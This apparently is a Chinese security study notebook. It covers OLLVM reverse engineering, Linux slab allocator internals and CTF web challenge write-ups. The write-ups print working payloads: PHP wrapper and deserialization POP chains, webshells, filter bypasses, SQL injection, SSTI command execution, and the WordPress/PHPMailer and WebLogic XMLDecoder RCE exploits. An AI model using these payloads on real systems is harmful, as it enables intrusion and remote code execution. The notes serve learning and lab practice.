指令替换(Instructions Substitution)(Sub) | 将一条运算指令替换为多条等价的运算指令,例如:y=x+1变为y=x+1+1-1 |
虚假控制流(Bogus Control Flow)(bcf) | 通过加入包含不透明谓词的条件跳转和不可达的基本块,来干扰IDA的控制流分析和F5反汇编 |
控制流平坦化(Control Flow Flattening)(Fla) | 主要通过一个主分发器来控制程序基本块的执行流程,将所有基本代码放到控制流最底部,然后删除原理基本块之间跳转关系,添加次分发器来控制分发逻辑,然后过新的复杂分发逻辑还原原来程序块之间的逻辑关系 |
字符串加密 | 编写一个pass将其中的字符串信息使用一些加密算法进行加密,然后特定的时间进行还原 |
具体的例子看参考就行
参考:《安卓逆向这档事》十二、大佬帮我分析一下 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
1.简单ollvm可以通过交叉引用分析
2.angr去除不透明谓词
3.Unicorn/Unidbg/AndroidNativeEmu模拟执行
4.IDA Trace
5.binary ninja
6.后端编译优化
7.frida辅助分析
参照:《安卓逆向这档事》十二、大佬帮我分析一下 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
原始check函数
AES加密,然后和获取的数据比较
OLLVM混淆后的check函数
那么从返回值开始分析,交叉引用返回值,定位到v33
随后交叉引用v33
\
276行在272行下面,v33对应v19,那么v33指向内容被修改,v19指向内容也被修改,即v19指向内容的值为v18
交叉引用v18,和strcmp(v32,v31)有关
再交叉引用v32,可以看到v32为v17,v17为AES加密后的数据,对应未被OLLVM混淆的v6
再看看v31,对应v8
v8为获取的数据,对应未被OLLVM混淆的v5,最后即可分析完毕。
在解密的地方下断点,这里即为如下所示
运行断下来之后,选择Debugger->Tracing->Tracing options,取消复选框Trace over debugger segments,然后选择Trace文件保存位置
然后Debugger->Tracing->Instruction tracing,三个跟踪选项作用在上面说过了
然后确定一个区域,即下两个断点
随后run就行,最终会在下一个断点停下来,然后路过的地方都会变为黄色
结束之后,就能在之前保存日志的地方看见具体信息
有时候Trace的时候没有变黄,那么说明没有运行到,就不需要再进行关注了
之后打开trace的日志分析,重点关注解密AES_ECB_PKCS7_Decrypt的返回结果,这里即X0为函数AES_ECB_PKCS7_Decrypt调用之后的返回结果,这个地址里面有个B4不知道是个啥
在IDA中跳转查看内存,得到最终的返回结果
Windows API 索引 - Win32 apps | Microsoft Docs
generate-core-file
生成core
文件gdb programer core_file
https://www.52pojie.cn/thread-495115-1-1.html
有时候当一个函数太长,就会导致IDA反编译失败,如下所示
这个可以通过设置IDA目录下的hexrays.cfg配置文件来设置最大反编译的代码长度,如下,将MAX_FUNCSIZE修改为1024即可
核心逻辑一般在bin\Data\Managed\Assembly-CSharp.dll,题目为[MRCTF2020]PixelShooter
可以用dnspy,在github上有Releases · dnSpy/dnSpy (github.com)
题目见:FlareOn1-Bob_Doge,可以调试的
如下所示
实际上应该是字符串
可以通过如下修改一下
Edit->Plugins->Hex-rays ->options->Analysis options 1,去掉如下选项即可
Linux
内核的内存分配很复杂,单独开篇来慢慢记录。
参考:linux内存源码分析 - SLAB分配器概述 - tolimit - 博客园 (cnblogs.com)
函数链:
1 | kmem_cache_alloc()->slab_alloc()->__do_cache_alloc()->__cache_alloc() |
最终在__cache_alloc
进行实际的内存分配,在这进行分配分叉点。
1 | //v5.8 /mm/slab.c |
这个就不多说了,依据CPUX_addr + kmalloc_caches[xx][xx].cpu_cache.entry
当作一个array_cache
进行分配,分配一个即将对应的array_cache.avail
减1。
进入cache_alloc_refill()
函数,还是会有相关的分叉
1 | //v5.9 /mm/slab.c |
尝试将kmalloc_caches[xx][xx].node.shared.entry
当作一个array_cache
进行检测,尝试分配
在get_first_slab()
函数中进行分配,尝试获取一个slab
页框描述符,依据相关索引,从其中的page->mapping
开始获取堆块对象obj
,挨个转移到对应CPU
的kmalloc-xx
的array_cache
(即对应的本地缓冲池中)。
1 | //v5.9 /mm/slab.c |
上面也提到,进入到must_grow
即进行slab
的重新分配,这个着实有点复杂,不是很会,涉及ZONE、NODE什么之类的数据结构,还有NUMA机制之类的。
参考:Linux内存管理:slub分配器 - 知乎 (zhihu.com)
函数链:
1 | kmem_cache_alloc()->slab_alloc()->slab_alloc_node() |
从slab_alloc_node()
函数开始分配
1 | //v5.9 /mm/slub.c |
这个就不说了,直接就是从本地的kmem_cache_cpu
下cpu_slab
的freelist
开始分配,上面的slab_alloc_node()
函数中也相关体现了。
之后在__slab_alloc()
函数中进行相关判断后会进入到___slab_alloc()
函数,进行后续的不同情况判断。不是很懂在干嘛,和CONFIG_PREEMPTION
配置有关。
1 | //v5.9 /mm/slub.c |
如下,当cpu_slab->freelist
被分配完毕之后,cpu_slab->page
也被清空
partial
分配在定义配置时,需要CONFIG_SLUB_CPU_PARTIAL=y
才会有
进入___slab_alloc()
函数后,会分为不少情况
1 | static void *___slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node, |
partial
首先就是判断本地CPU
,即cpu_slab
的partial
,其也为一个page
页框,会与其他的页框依据struct list_head lru;
域组成双向循环链表。
如果存在,则将该partial
当作一个slab
描述页框page
,遍历其struct list_head lru;
域,找到合适的slab
描述页框page
,赋值给cpu_slab->page
,并且该partial
也会在slub_set_percpu_partial(c, page);
函数中被原本的partial
的next
覆盖。
请忽略这个freelist
上还有值,截图的时候没有分配光freelist
。
完成之后如下所示,被覆盖掉
然后进入redo
,依据新赋值的page
加载freelist
,并且保存在page
中的freelist
被置空,最终如下
node
中的partial
然后进入new_slab_objects
函数判断本kmalloc-xx
对应的node
中是否存在partial
,存在则进行相关赋值后,直接返回freelist
1 | static inline void *new_slab_objects(struct kmem_cache *s, gfp_t flags, |
这里有点奇怪的是,遍历对应struct kmem_cache
的kmalloc-xx
下的node
时,其partial
指向的是page
的struct list_head lru;
域地址,而非实际的page
地址,所以真实的page
地址为struct list_head lru;
域地址减去0x8
。
之后即从该page
中取freelist
进行赋值给本地的kmem_cache_cpu
下cpu_slab
的freelist
,即本地缓冲池。
如上述所示,在new_slab_objects()
中判断partial
不存在之后,即从buddy伙伴算法中分配新的slab
页框描述符,之后就太复杂了,后续再学把。
1 |
|
传入两个参数即可
访问如下
浏览器不对,那么首先需要修改User-Agent
为WLLM
跟随重定向后跳转到a.php
发现来源IP
不对,那么需要修改X-Forwarded-For
字段
跟随重定向后得到最终flag
确实如名字,F12
在元素资源中可以找到
dirsearch
扫描之后,在readm.txt
中找到对应的超级管理员账号密码admin/admin888
登录进去之后,在phpinfo.php
中找到flag
,或者不用登录,直接/phpinfo.php
就能找到,应该是所谓非预期,下面看看预期解
同样该WebFTP
是github
上一个老框架,可以在/Readme/mytz.php
中存在敏感信息泄露漏洞
或者seay
好像可以审计出来
对应泄露为/Readme/mytz.php?act=phpinfo
md5
弱比较
使用QNKCDZO
和s214587387a
即可
提示传入file
参数,然后得到源码
由于最后会使用include_once
将对应file
包含进来,那么可以使用相关的php
伪协议
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
base64
解码后得到flag
首先看到提示,并且URL
中为/...?wllm=...
,很明显就是想让我们填一个东西,试试hint.php
填入
啥也没有,那么尝试用一下php
伪协议
1 | http://1.14.71.254:28530/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php |
可以看到出来了,base64
解一下查看内容
让我们访问/test2222222222222.php
主要关注如下,需要设置a
,然后其内容为I want flag
由于用的是file_get_contents
函数,那么可以使用data
数据流
1 | /test2222222222222.php?a=data://text/plain,I%20want%20flag |
得到flag
访问之后提示SSRF
那么访问一下本地网站下面的index.php
,不太行,那试试flag.php
再试试/fl4g
不太行,试试file
协议
访问一下
输出file
,这里不用管那个判断,没啥用,只要file
里面不包含file
字符串就行,那么直接/flag
就能得到
访问啥也没有,dirsearch
一下,发现robots.txt
,访问一下
接着访问/cl45s.php
可以看到反序列化设置一下对应属性即可
1 | http://1.14.71.254:28869/cl45s.php?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;} |
尝试用CVE-2016-7124
1 | http://1.14.71.254:28150/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;} |
成功
写过,首先用data
流和php
伪协议读取useless.php
1 | /?file=php://filter/read=convert.base64-encode/resource=useless.php&text=data://text/plain,welcome%20to%20the%20zjctf |
然后借助tostring
方法,将Flag->file
设置为flag
即可,通过反序化打印出来
1 | /?file=useless.php&text=data://text/plain,welcome%20to%20the%20zjctf&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;} |
flag
在注释中
访问之后,可以看到考pop
链,这里即为
1 | w22m->__destruct(){echo $this->w00m;} |
得到如下exp
1 |
|
结果如下
1 | O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}} |
之后由于W44m
中private
和protected
的关系,打印不出来\x00
这样的字符,所以我们需要按照规则使用%00
进行补充
private
变为\x00className\x00memberName
public
仍然为原始的
protected
变为\x00*\x00memberName
最终得到EXP
1 | /?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}} |
得到flag
依据相关代码,主要是在NISA.__invoke
中有如下代码
那么只要调用到NISA.__invoke
函数,并且控制NISA.txw4ever
成员即可做到任意函数调用。
首先给出总的函数调用链
1 | TianXiWei.__wakeup->Ilovetxw.__call->four.__set->Ilovetxw.__toString->NISA.__invoke->@eval($this->txw4ever); |
接下来具体分析一下
Ilovetxw.__toString->NISA.__invoke
Ilovetxw.__toString
方法如下
__invoke
性质:当尝试以调用函数的方式调用对象的时候,就会调用该方法
那么通过设置Ilovetxw.su
为某个NISA
对应对象,即可调用到NISA.__invoke
four.__set->Ilovetxw.__toString
four.__set
方法如下
这里可以看到调用了strtolower($this->a)
,查一下手册
可以看到会将传入变量转化为String
,也就是说如果传入一个对象,那么就会调用该对象的__toString
方法来将它转化为String
。那么这里就将four.a
设置为Ilovetxw
对应对象,即可调用到Ilovetxw.__toString
Ilovetxw.__call->four.__set
Ilovetxw.__call
方法如下
__set
的相关性质:在给不可访问的protected
或者private
或者不存在的属性赋值的时候,会被调用
这里就可以设置Ilovetxw->huang
为four
的对象,而four
中没有fun
成员属性,所以就会调用到four->__set
。
TianXiWei.__wakeup->Ilovetxw.__call
TianXiWei.__wakeup
方法如下
__call
相关性质:在对象中调用一个不可访问的方法的时候,会被执行
那么可以设置TianXiwei->ext
为Ilovetxw
对象,而Ilovetxw
没有nisa
方法,就会调用到Ilovetxw->__call
方法。
TianXiWei.__wakeup
对于__wakeup
的性质不用多说,在反序列化的时候就会自动调用了。
相关总结如下
1 | @eval($this->txw4ever); |
那么最终的EXP
1 |
|
首先可以看看hint
中有啥,要将NISA->fun
设置为"show_me_flag"
结果如下
然后改掉NISA->fun
,因为hint
函数中有die
函数调用
看看根目录有啥
1 | O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D |
发现有错
应该是checkcheck
函数
可能是preg_match
进行了一些过滤,这里把system
变成大写就行,查看根目录
1 | O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22System%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D |
然后cat /fllllllaaag
即可,最终exp
1 |
|
检测文件头,改一下就行了,flag
在phpinfo
里面
检测后缀和文件头
可以上传.htaccess
来将png
作为php
加载了一张图片,但是一般来说,如果只加载图片,并不会能连接的
但是用蚁剑连上,才发现index.php
里面有
1 | <?php |
普通的shell
提示如下
用burpsuite
给COOKIE
添加一下admin
字段为1
访问rasalghul.php
,直接命令执行,过滤空格,用${IFS}
代替空格即可
命令执行,但是过滤了很多东西
但是由于是php7
,所以可以利用取反来执行命令,参考p神
的:
一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
主要结论如下:
即用python
稍微写一下就行
1 | (~%8c%86%8c%8b%9a%92)(~%93%8c%df%d0);//system('ls /') |
知道flag
名字了
1 | (~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);//system('cat /flllllaaaaaaggggggg') |
exec
直接执行命令,但是过滤了很多东西,包括ls
也过滤了,但是命令行中有比较特殊符号反引号以及\
,这个常用来连接命令,可以看到如下例子,其实是差不多的。
所以这里可以用l\s
来进行绕过,其他命令也是类似。
那么就差一个回显了,由于重定向符号>
也被禁止了,那么这里可以用到tee
命令,该命令可以通过管道符|
将前一个命令的执行结果写入到文件中,效果如下
那么就可以通过该命令来将需要命令结果写入到文件中,然后访问文件即可访问到命令结果。
1 | url=l\s%20/%20|%20tee%201.txt |
对应访问
同样道理获取flag
,但是这里还过滤了la
,所以同样道理,给flllllaaaaaaggggggg
的对应la
处加上\
符号也是一样的。
1 | url=c\at%20/flllll\aaaaaaggggggg%20|%20tee%202.txt |
访问2.txt
即可得到flag
参数是wllm
,几个sql
注入常见考点
同样的,对应sql
语句也会有注释,常用的注释有下
#
:但是在url
中该符号有特殊意义,所以使用的时候需要改成编码%23
才行--
:用的时候通常需要为--空格
形式才能正常解析,而在sql
中+
和--
连用时作用和空格类似,所以--+
成为常见的sql
注入语句,当然--%20
也是一样的。所以这里先使用单引号'
将之闭合,然后语句最后使用--+
来将后面的多余语句进行注释,比如原语句是
1 | ...where wllm = '用户输入' and ... |
用户输入为1' order by 1--+
,那么结果即为
1 | ...where wllm = '1' order by 1--+' and ... |
原本的' and ...
这个就不会执行了,而order by 1
会顺利执行,完成相关的sql
语句注入查询。
首先需要判断注入类型,常见的有字符,数字,时间,布尔等。
输入wllm=1
正常回显,但是输入wllm=1'
会显示错误,代表引号匹配不对,表明是字符型的注入。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
需要知道该表有几个字段,才能进行后续的回显点查询,这里可以用到order by
来进行查询。
order by
的意思就是依据输入的字段来进行排序,这里既可以输入字段名字,也可以输入字段序号,比如下表
输入order by games_played
和输入order by 4
其效果是一样的,但是如果输入order by 5
,而该表又只有4个字段,那么就会出错,如下
可以通过这个方法来判断有几个字段,这里输入order by 4
回显错误,表明字段数为3。
可以看到输入wllm=1
是正常回显的
而xxx
和yyy
就是可能存在的回显点,那么需要判断这个回显点是在那个字段,这里就可以使用常见的select 1,2,3
这种了。
直接查询情况如下,可以看到,相当于直接创建了一个与1,2,3
有关的表,字段数为输入的数字个数,即3个,对应数据也能理解
而当和联合查询union select
相结合使用的时候,就需要输入的这些字段数和另一个表的字段数一样才会正常查询
比如某个表如下
联合查询语句
1 | SELECT * FROM activity union select 1,2,3,4; |
相当于把两个表进行合并,而如果字段数不一致,就会出错,比如减去一个字段数
1 | SELECT * FROM activity UNION SELECT 1,2,3; |
可以看到查询字段数不一致的错误,这里也就是为什么之前需要判断表有几个字段的原因。
把前一张表置空,也就是where wllm=xx
,xx
不存在的时候,前一张表查出来自然就是空的。
然后再联合查询select 1,2,3...
,依据返回数据,判断回显点在哪个字段
1 | wllm=xx' union select 1,2,3--+ |
即可知道回显的数据在第2,3两个字段,那么就依据这两个字段,进行相关数据查询,这里就从第2个字段入手。
利用database()
函数来查询
1 | wllm=xx' union select 1,database(),3--+ |
库名为test_db
利用group_concat()
函数来查询
1 | wllm=xx' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db'--+ |
可以看到,这里想要提供库的名字test_db
,所以之前需要查询到库名。
这里也有一点前置知识,也就是information_schema
是mysql
中的一个信息数据库,保存着关于MySQL
服务器所维护的所有其他数据库的信息。比如数据库名,数据库的表,表栏的数据类型与访问权限等。
参考:(48条消息) mysql自带的information_schema.tables是什么?_你的小伙伴啊的博客-CSDN博客
那么即可查询到
可以看到存在两个表为test_tb
和users
方法和查询表名类似,需要提供表名,之前查表名的原因
1 | wllm=-xx' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--+ |
结果如下
方法类似,查询flag
内容
1 | wllm=xx' union select 1,group_concat(flag),3 from test_tb--+ |
得到最终flag
1 | python .\sqlmap.py -u "http://1.14.71.254:28374/?wllm=1" -dbs |
看到这两个,猜测是smarty
的Server Side Template Injection
即SSTI
模板注入,这个就需要一些前置知识了。
简单安装使用:(48条消息) windows环境下smarty安装最简明教程_enjoyxp的博客-CSDN博客
参考:Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台 (anquanke.com)
首先应该是为什说smarty
能够进行模板注入,其实主要在于它的string
模板,也就是如下的代码
1 | $smarty->display("string:{phpinfo()}"); |
前期会有一些链子调用到关键函数
1 | display |
当最开始没有进行该模板创建时,会创建模板,在前期调用链中还有后续的一些链子
1 | Smarty_Template_Compiled.compileTemplateSource |
下面分析更多
调用到Smarty_Template_Compiled.compileTemplateSource
函数,然后在write
函数中
回调到Smarty_Internal_TemplateCompilerBase.compileTemplate
里面调用create
函数再回调到Smarty_Internal_TemplateCompilerBase.compileTemplateSource
函数
该函数最终会调用getContent
函数,依据不同的handler
调用到不同类的处理函数中,比如string
对应的类就是Smarty_Internal_Resource_String
,会调用到其decode
函数进行相关内容处理
比如这里的这里提到的例子里面的string
就是{phpinfo()}
,相关处理后就直接返回内容,然后在后续的操作中,将该内容连同一些数据写入到指定的templates_c
文件夹中hash
之后的一个php
文件,这里就会如下结果
1 |
|
然后在后续的Smarty_Template_Compiled.loadCompiledTemplate
中会对该文件进行包含,执行其中的php
代码,这里可能是因为smarty
一些机制原因,必定在包含的时候能够执行到里面对应的那个函数。
当存在该模板,也就是string:{phpinfo()}
对应的模板,就会在Smarty_Template_Compiled.process
函数中,也就是如下红框中,直接进行对应的模板文件包含,同样也是可以执行代码的。
前面提到的是string
类的模板,同样也可能会有自定义的,比如如下
参考:[CVE-2017-1000480]Smarty <= 3.1.32 php代码执行 漏洞分析 | Chybeta
1 | class test extends Smarty_Resource_Custom |
这里的$name
就是对应的{phpinfo()}
,将其赋值给$source
从而在后续的smarty
处理中形成对应的content
,因为在write
过程中之前提到会有getContent
的调用,使用自定义类Smarty_Resource_Custom
就会调用到该类的fetch
函数,传入的source
就是content
,从而为content
赋值。
常见的漏洞形式如下
1 | $data = $_REQUEST['data']; |
这样data
就是可控的,那么相关的代码执行就是水到渠成了。
相对于这道题就可以猜测了,大概就是会接收我们的ip
,然后和它的模板进行拼接然后输出,其实测试一下就可以了。
很明显,可以代码执行,即可完成
1 | {system('ls /')} |
具体看看代码,放个木马上去下载一下
1 |
|
可以看到$template_string
中包含了我们可以控制的$real_ip
和上一道题一模一样,不太懂意义在哪里
试试输入secret
看来还得输入参数
随便输点,发现报错了
依据报错信息可以判断用的是python2
下flask
,报错信息中有比较关键的部分
1 | File "/app/app.py", line 35, in secret |
这个函数render_template_string
通常和SSTI
模板注入有关,和之前的php
中的相关模板注入有点类似,而且在火狐浏览器中居然可以点开查看代码,在edge
和chrome
都不行
可以看到,那个secret
应该是我们控制的,因为没有secret
的时候,确实输出了那个文字,有了就会输出其他的。
中间看代码,将输入的secret
通过rc4
进行解密,那个HereIsTreasure
应该就是密钥,然后字节放入render_template_string
函数中,那么就肯定存在SSTI
模板注入
了解flask
的SSTI
还是需要一些前置知识的,如下代码示例
1 |
|
当访问ip:port/test
时,出现如下情况
返回了一个类名字,这个其实就相当于在python
里面执行了'abc'.__class__
那么对应的,这个标签{{xxx}}
,修改里面的xxx
,即可获得任意python
代码执行的能力。但是这里的代码执行和正常的python
还是有点区别的,比如如下
1 |
|
就会出现如下情况
原因就在于使用的模板引擎是jinja2
,它有自己的一套规则,基本的语法如下
{% %}
{{ }}
{# #}
那么将刚刚的示例修改一下
1 |
|
访问之后效果如下
可以看到相当于执行了对应的jinja2
代码,那么针对flask
的SSTI
模板注入,其实质就是执行jinja2
代码。
而相对于jinja2
代码执行,用的最多的就是变量{{i}}
取值,利用变量取值就可以获取到python
里面各式各样的类和其中对应的方法,那么传入相关参数就能调用到相关的python
代码了呀。
比如最开始的'abc'.__class__
,可以通过它来获取到基类object
然后获取到后面的对应所有需要的类
而很常用的popen
函数,就会在某个类里存在,那么就需要去寻找,比如在python3
里面有'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']
那么对应传入参数就可以执行函数了,常用形式如下
1 | 'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('ipconfig').read() |
这些相关常用属性也有相关总结,参考:
(48条消息) SSTI知识点与题型_zbbjya的博客-CSDN博客_ssti大全
python 沙箱逃逸与SSTI ~ Misaki’s Blog (misakikata.github.io)
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
那么有了前置知识,这个就很好做了,利用相关的payload
即可,在flask
中有一个很常用的config
1 |
|
上面总结也有提到,如下payload
1 | config.__class__.__init__.__globals__['os'].popen('ls').read() |
但是这里还存在一个rc4
加解密,使用不知道哪位师傅的脚本即可解决
1 | import base64 |
在获取到网站源码之后,发现其实是有黑名单过滤的
1 |
|
但是他这个过滤,其实只是给我们的输入加了一些字符,比如里面有class
,就会变成'class' is not allowed. Secret is xxxx
,而在jinja2
里,对于普通的字符,即不符合语法规则的字符,是会原样输出的,比如如下代码
1 |
|
访问结果如下
其实对于代码执行一点影响没有,相当于只是一个网站的文本字符而已。
最终payload
如下
1 | {{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}} |
wordpress
在发送邮件的时候,调用的是如下代码
1 | //wordpress-4.6 wp-includes pluggable.php 350 |
这里的$from_email
是可控的,实质就是http
中传入的Host
字段经过一些过滤得到的,如下
1 | //wordpress-4.6 wp-includes pluggable.php 324 |
这个$_SERVER['SERVER_NAME']
就是传入的Host
字段。
之前讲到的$phpmailer->setFrom( $from_email, $from_name );
,调用的就是phpmailer
组件的相关代码,该函数如下
1 | //phpmailer-5.2.10 class.phpmailer.php |
然后当在wordpress
中调用phpmailer.send()
发送邮件时,对应代码如下
1 | public function send() |
这个$this->preSend()
一般不会影响到后续,返回的总是True
,从而调用到postSend
其漏洞对应本质是CVE-2016-10033
,参考:PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass (legalhackers.com)
即PHPMailer
这个组件在使用的时候,由于参数没有进行好的过滤,导致最终的代码执行。
参考:phpmailer RCE漏洞分析 · LoRexxar’s Blog
mark没有完整
使用popen
,然后sendmail
实际在安装了exim4
之后,是一个软连接,连接到exim4
而exim4
可以进行命令执行
通过一些正则绕过等,就可以得到最终的payload
,需要知道一个用户名,在用邮件验证的时候进行。
创建/tmp/success
1 | target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null) |
对应脚本P神
的vulhub
里的
1 | def generate_command(command): |
最好是放在burpsuite
进行,不然容易出错。
WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (exploitbox.io)
参考如下:https://www.freebuf.com/articles/web/321222.html
即XMLDecoder
这个组件,可以将对象进行序列化生成特定格式文件xx.xml
,然后通过反序列化该xx.xml
可以得到对应的对象。
如上述链接提到的Person
类
1 | public class Person { |
其中的get/set
方法在序列化时会调用到,反序列化时只会调用set
方法,如果没有,相关的成员属性的值会丢失。
通过XMLDecode
序列化生成如下格式文件
1 |
|
之后进行反序列化即可得到对应的Person
对象,相关代码如下
1 | import java.beans.XMLDecoder; |
在反序列化的过程中,依据xml
中文件内容,依据指定类进行反序列化,并且对应属性赋值。那么就可以找一个可以进行RCE
的类,反序列化过程中就可以进行RCE
了,相关POC
如下
1 |
|
这里JAVA
版本写啥版本都没什么影响,这个xml
进行反序列化之后相当于执行代码
1 | ProcessBuilder proc = new ProcessBuilder("calc"); |
导致任意代码执行,具体的XMLDecode
里面怎么反序列化的,怎么调用的,函数调用链是什么样子的,还是看如下参考链接吧
https://www.freebuf.com/articles/web/321222.html
https://www.freebuf.com/articles/network/247331.html
参考:
WeblogicT3反序列化浅析之cve-2015-4852 - 先知社区 (aliyun.com)
Weblogic学习(一): 初识T3反序列化 (yuque.com)
其实主要就是Weblogic
对于T3
协议的处理,T3
协议对于Weblogica
而言,也就相当于JRMP
协议对于原生的Java
程序,都是用来RMI
即远程方法调用的。
关于RMI
以及JRMP
,感觉下面几篇文章挺好的
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)
搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)
就个人理解而言,画个图好解释一下
代码参照的是:基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)
Server
相关类实现如下
1 | public interface HelloService extends Remote { |
Client
相关类实现如下
1 | public interface HelloService extends Remote { |
总结来说,就是Server
和Client
共用一个接口,Client
调用Server
重写的接口。
首先Server
重写该接口生成对象,将重写之后的对象进行动态代理序列化后上传到注册中心作为存根stub
。然后Client
就可以从注册中心register
下载Server
重写该接口的动态代理对象存根stub
,将之反序列化后进行动态代理即可调用到Server
重写的接口函数了。
这里提到stub
对象不是对应的HelloServiceImpl
对象,而是JAVA
动态代理对象,里面存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,也就是对于sayHello
重写的代码并没有保存在这个stub
对象中,还是保存在服务器上,调用的时候还是远程调用。
还有更加详细的关于动态代理对象的解释可以看看奇安信A-team
的师傅写的WebLogic安全研究报告 (qq.com),感觉写的很好,如下图
需要注意的是,服务端Server
和注册中心register
其实是可以放在一台机器上的。
感觉这个过程更像是一个RSA
过程,服务器生成私钥(stub
)给客户,公开公钥(register
以及Skeleton
),借助这两方完成通信。
在这个过程中进行通信所用到的协议就是JRMP
协议,其中进行数据传输的过程中,无论是客户端还是服务端,都会用到JAVA
反序列化和序列化,盗用一下奇安信师傅的图,2333
也就是基本都会存在漏洞,但是爆出来洞之后基本也会有相关的黑名单限制。可以参考:从ysoserial讲RMI/JRMP反序列化漏洞 - Escape-w - 博客园 (cnblogs.com)
对于T3
也是类似的,盗用一下奇安信师傅的图,2333
而对于使用T3
协议,其数据包结构
替换之后,当服务器接收到恶意的数据,对其中的一些序列化数据进行反序列化是,就会导致恶意对象被反序列化,从而引发反序列化漏洞。
相关的攻击方式就比如说在自己服务器生成一个注册中心,可控受害者的反序列化时就可以让其使用RMI
机制。从自己服务器获取恶意的stub
对象,然后在受害者再对该stub
进行反序列化时即可完成攻击。
(因为可控受害者的反序列化的过程中可能会碰到黑名单限制,无法轻松完成CC
链之类的攻击,所以借助原生RMI
机制,详见CVE-2015-4852
之后关于T3
的漏洞。另外借助原生的RMI
机制其实也可能会有黑名单限制,这个就需要自己绕过,或者找现成的payload
来打了,参考:https://www.anquanke.com/post/id/228918)
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
参考:https://xz.aliyun.com/t/10172#toc-1
记得最后把docker
重启一下就行
漏洞点在/wls-wsat/
提供的页面上,当POST
请求规范的XML
数据访问该组件下对应的页面,会进入到weblogic/wsee/jaxws/workcontext/WorkContextServerTube
类中的processRequest
方法,进行数据包的处理。
相关分析流程可以参考:
https://www.anquanke.com/post/id/102768#h2-6
https://xz.aliyun.com/t/10172#toc-4
对应调用链条为
1 | WorkContextServerTube.processRequest |
最终在readUTF
中进行反序列化,
这里的xmlDecode
里面保存的buf
就是我们传入去掉头部留下的数据
赋值过来,用python
跑一下就知道
这样即得到最终的命令执行。
在P神
的vulhub
下复制来的
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
官方补丁,没看怎么进行修复,不过应该时添加黑名单
详见上面的T3
反序列化,是T3
协议的漏洞
首先需要看Weblogic
是否启用T3
协议,以及版本号的判断
1 | nmap -p 7001,7002 -T4 -A -v --script weblogic-t3-info 192.168.120.161 |
也是类似的,用vulhub
的,参考:https://xz.aliyun.com/t/10172#toc-1
记得最后把docker
重启一下就行
先从最开始的CVE-2015-4852
进行分析,参考:Weblogic学习(一): 初识T3反序列化 (yuque.com)
使用如下exp
1 | from os import popen |
首先断点下在weblogic.rjvm.InboundMsgAbbrev#readObject
。如下图所示,可以看到前面还有一堆的调用链条
是相关的异步以及线程、复用器(muxer
)的分发等知识,不是很懂这里,估计是一些监听检测之类的,可以看看如下的介绍
